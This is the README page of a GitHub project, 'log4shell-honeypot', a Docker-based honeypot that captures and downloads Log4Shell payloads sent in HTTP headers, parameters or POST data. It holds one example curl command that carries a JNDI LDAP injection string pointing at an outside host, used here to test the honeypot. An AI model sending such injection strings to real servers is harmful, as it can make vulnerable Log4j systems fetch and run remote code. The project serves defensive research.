Skip to content

Latest commit

 

History

History
19 lines (15 loc) · 827 Bytes

README.md

File metadata and controls

19 lines (15 loc) · 827 Bytes
Raw

log4shell-honeypot

Catch and download log4shell payloads sent within HTTP headers, query parameters or POST data. Modified version of Adikso's minecraft honeypot

Setup

  1. git clone $repo
  2. docker-compose up
  3. Send payloads within a http header to $dockerip:$port

To add additional honeypots on different ports, copy and paste an existing service within docker-compose.yml, changing the service name, and alter the ports within ports and command.

curl --user-agent '${jndi:ldap://lmao.com:1389/a}' http://localhost:80

Payloads are saved within payloads/

Logs are printed to the screen by default, but can be retreived with docker inspect. e.g:

docker inspect --format='{{.LogPath}}' log4shell-honeypot_http_1 | xargs cat